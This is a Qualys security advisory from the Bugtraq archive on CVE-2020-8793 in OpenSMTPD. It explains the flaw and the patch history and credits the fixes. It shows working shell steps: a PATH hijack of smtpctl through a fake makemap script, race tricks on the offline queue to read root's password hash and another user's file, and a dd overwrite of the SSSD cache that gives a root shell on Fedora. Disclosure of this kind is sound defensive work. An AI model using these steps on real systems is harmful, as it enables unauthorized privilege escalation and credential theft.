Bugtraq
mailing list archives
Qualys Security Advisory Local information disclosure in OpenSMTPD (CVE-2020-8793) ============================================================================== Contents ============================================================================== Summary Analysis Exploitation POKE 47196, 201 Acknowledgments ============================================================================== Summary ============================================================================== We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server: an unprivileged local attacker can read the first line of an arbitrary file (for example, root's password hash in /etc/master.passwd) or the entire contents of another user's file (if this file and /var/spool/smtpd/ are on the same filesystem). We developed a proof of concept and successfully tested it against OpenBSD 6.6 (the current release). This vulnerability is generally not exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by default on most distributions. Surprisingly, however, it is exploitable on Fedora (31) and yields full root privileges. ============================================================================== Analysis ============================================================================== In October 2015 we published the results of an exhaustive OpenSMTPD audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt); one of our key findings was: ------------------------------------------------------------------------------ Multiple hardlink attacks in the offline directory ... In the world-writable "/var/spool/smtpd/offline" directory, local users can create hardlinks to files they do not own, and wait until the server reboots (or, crash OpenSMTPD with a denial-of-service and wait until the administrator restarts it) to carry out assorted attacks. ... 2/ The following code in offline_enqueue() allows an attacker to execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument that is the hardlinked file's first line (CVE-2015-ABCD): ... For example, an attacker can hardlink /etc/master.passwd to the offline directory, and retrieve its first line (root's encrypted password) by running ps (or a small program that simply calls sysctl() with KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop: ... 4/ If an attacker is able to reach another user's file (i.e., +x on all directories that lead to the file) but not read it, he can hardlink the file to the offline directory, and wait for savedeadletter() to create a world-readable copy of the file in this other user's home directory: ------------------------------------------------------------------------------ OpenBSD's patch for this vulnerability was threefold: a/ They removed the world-writable and sticky bits from /var/spool/smtpd/offline, changed its group to "_smtpq", and made /usr/sbin/smtpctl set-group-ID _smtpq: ------------------------------------------------------------------------------ drwxrwx--- 2 root _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline -r-xr-sr-x 1 root _smtpq 217736 Oct 12 10:34 /usr/sbin/smtpctl ------------------------------------------------------------------------------ b/ They added an _smtpq group check to offline_scan(): ------------------------------------------------------------------------------ 1543 /* offline file group must match parent directory group */ 1544 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid) 1545 continue; .... 1553 if (offline_add(e->fts_name)) { 1554 log_warnx("warn: smtpd: " 1555 "could not add offline message %s", e->fts_name); 1556 continue; 1557 } ------------------------------------------------------------------------------ This check (at line 1544) effectively prevents offline_scan() from adding the filename of a hardlink to the offline queue (at line 1553), because no interesting file on the filesystem belongs to the group _smtpq. c/ They added a hardlink check to offline_enqueue() (at line 1631), which is called by offline_add(): ------------------------------------------------------------------------------ 1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) { 1616 log_warn("warn: smtpd: open: %s", path); 1617 _exit(1); 1618 } 1619 1620 if (fstat(fd, &sb) == -1) { 1621 log_warn("warn: smtpd: fstat: %s", path); 1622 _exit(1); 1623 } .... 1631 if (sb.st_nlink != 1) { 1632 log_warnx("warn: smtpd: file %s is hard-link", path); 1633 _exit(1); 1634 } ------------------------------------------------------------------------------ Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check to time-of-use) race conditions. As a result, a local attacker can still carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter) described in our 2015 audit report. ============================================================================== Exploitation ============================================================================== a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and specify a "-bi" command-line argument, then smtpctl calls execlp() without dropping its privileges: ------------------------------------------------------------------------------ 147 /* sendmail-compat makemap ... re-execute using proper interface */ 148 if (argc == 2) { ... 164 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-", 165 (char *)NULL); 166 err(1, "execlp"); 167 } ------------------------------------------------------------------------------ We can exploit this execlp() call by specifying our own PATH environment variable, and obtain the privileges of the group _smtpq: ------------------------------------------------------------------------------ $ id uid=1001(john) gid=1001(john) groups=1001(john) $ ln -s /usr/sbin/smtpctl "send-mail" $ cat > makemap << "EOF" #!/bin/ksh echo "$@" exec /usr/bin/env -i /bin/ksh EOF $ chmod 0755 makemap $ env -i PATH=. ./send-mail -- -bi dbname -d -bi -o dbname.db - $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) ------------------------------------------------------------------------------ b/ The _smtpq group check is made only once in offline_scan(), but not again in offline_enqueue() (which actually open()s the offline files). Moreover, at most five offline files are processed concurrently; the remaining files are simply added to the offline queue for later processing. We can reliably win this first race condition: - we create several large but sparse files (1GB each) in the offline directory (these files naturally pass the _smtpq group check); - we SIGSTOP five of the offline_enqueue() processes that open() and slowly read() our large files; - we wait until offline_scan() adds all of our remaining files to the offline queue; - we replace these files with hardlinks to an interesting target file (for example, /etc/master.passwd); - we SIGKILL the five stopped offline_enqueue() processes. Finally, our hardlinks are processed by offline_enqueue(), and the _smtpq group check is defeated. c/ To defeat the hardlink check in offline_enqueue(), we create our hardlink before the open() call at line 1615 (this increases st_nlink to 2), and delete it before the fstat() call at line 1620 (this decreases st_nlink back to 1). In practice, we win this tight race condition after just a few tries: our proof of concept fork()s a dedicated process that simply calls link() and unlink() in a loop. Moreover, if our target file is /etc/master.passwd, we can defeat the hardlink check without a race: we hardlink /etc/master.passwd into the offline directory (this increases st_nlink to 2), we run /usr/bin/passwd or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases st_nlink back to 1), and finally we SIGKILL the five stopped offline_enqueue() processes. ------------------------------------------------------------------------------ For example, to read the first line of /etc/master.passwd (root's password hash) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ./proof-of-concept 20 ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ... root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie &:/root:/bin/ksh ------------------------------------------------------------------------------ To read the entire contents of another user's file (for example, /home/admin/deep.secret) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ls -l /home/admin/deep.secret ---------- 1 admin admin 125 Feb 15 00:52 /home/admin/deep.secret $ cat /home/admin/deep.secret cat: /home/admin/deep.secret: Permission denied $ ./proof-of-concept 100 /home/admin/deep.secret ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ... This is the contents of the deep.secret file. Only root may see this file. -rw-r--r-- 1 admin admin 132 Feb 15 01:21 /home/admin/dead.letter $ cat /home/admin/dead.letter From: admin <admin () obsd66 my.domain> Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST) secret 2 secret 3 end of secret file deep.secret ============================================================================== POKE 47196, 201 ============================================================================== On Linux, this vulnerability is generally not exploitable because /proc/sys/fs/protected_hardlinks prevents attackers from creating hardlinks to files they do not own. On Fedora 31, however, smtpctl is set-group-ID root, not set-group-ID smtpq: ------------------------------------------------------------------------------ -r-xr-sr-x. 1 root root 303368 Jul 26 2019 /usr/sbin/smtpctl ------------------------------------------------------------------------------ Surprisingly, we were able to exploit this mistake and obtain full root privileges: - First, we exploited the Local Privilege Escalation in smtpctl to obtain the privileges of the group root: ------------------------------------------------------------------------------ $ id uid=1001(john) gid=1001(john) groups=1001(john) context=... $ ln -s /usr/sbin/smtpctl "send-mail" $ cat > makemap << "EOF" #!/bin/bash -p echo "$@" exec /usr/bin/env -i /bin/bash -p EOF $ chmod 0755 makemap $ env -i PATH=. ./send-mail -- -bi dbname -d -bi -o dbname.db - $ id uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john) context=... ------------------------------------------------------------------------------ - Next, we searched for files that belong to the group root, are group-writable, but not world-writable: ------------------------------------------------------------------------------ $ find / -group root -perm -020 '!' -perm -02 -ls ... 4811008 0 drwxrwxr-x 2 root root 51 Feb 15 17:49 /var/lib/sss/mc 4811064 8212 -rw-rw-r-- 1 root root 8406312 Feb 15 18:58 /var/lib/sss/mc/passwd 4810978 6260 -rw-rw-r-- 1 root root 6406312 Feb 15 18:58 /var/lib/sss/mc/group ... ------------------------------------------------------------------------------ - Intrigued ("sss" stands for "System Security Services"), we dumped the contents of /var/lib/sss/mc/passwd: ------------------------------------------------------------------------------ $ hexdump -C /var/lib/sss/mc/passwd ... 00000060 10 00 00 00 e9 03 00 00 e9 03 00 00 1d 00 00 00 |................| 00000070 6a 6f 68 6e 00 78 00 00 2f 68 6f 6d 65 2f 6a 6f |john.x../home/jo| 00000080 68 6e 00 2f 62 69 6e 2f 62 61 73 68 00 ff ff ff |hn./bin/bash....| ... ------------------------------------------------------------------------------ - Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID) with zeros (root's user-ID): ------------------------------------------------------------------------------ $ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4 conv=notrunc 4+0 records in 4+0 records out ------------------------------------------------------------------------------ - Last, we executed su to re-authenticate as ourselves (as user john), but obtained a root shell instead: ------------------------------------------------------------------------------ $ su -l john Password: # id uid=0(root) gid=1001(john) groups=1001(john) context=... ------------------------------------------------------------------------------ Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was released and correctly made smtpctl set-group-ID smtpq, instead of set-group-ID root. ============================================================================== Acknowledgments ============================================================================== We thank OpenBSD's developers, Todd Miller in particular, for their quick response and patches. We also thank Solar Designer and MITRE's CVE Assignment Team. [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner> This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.
Attachment:
proof-of-concept.c
Description: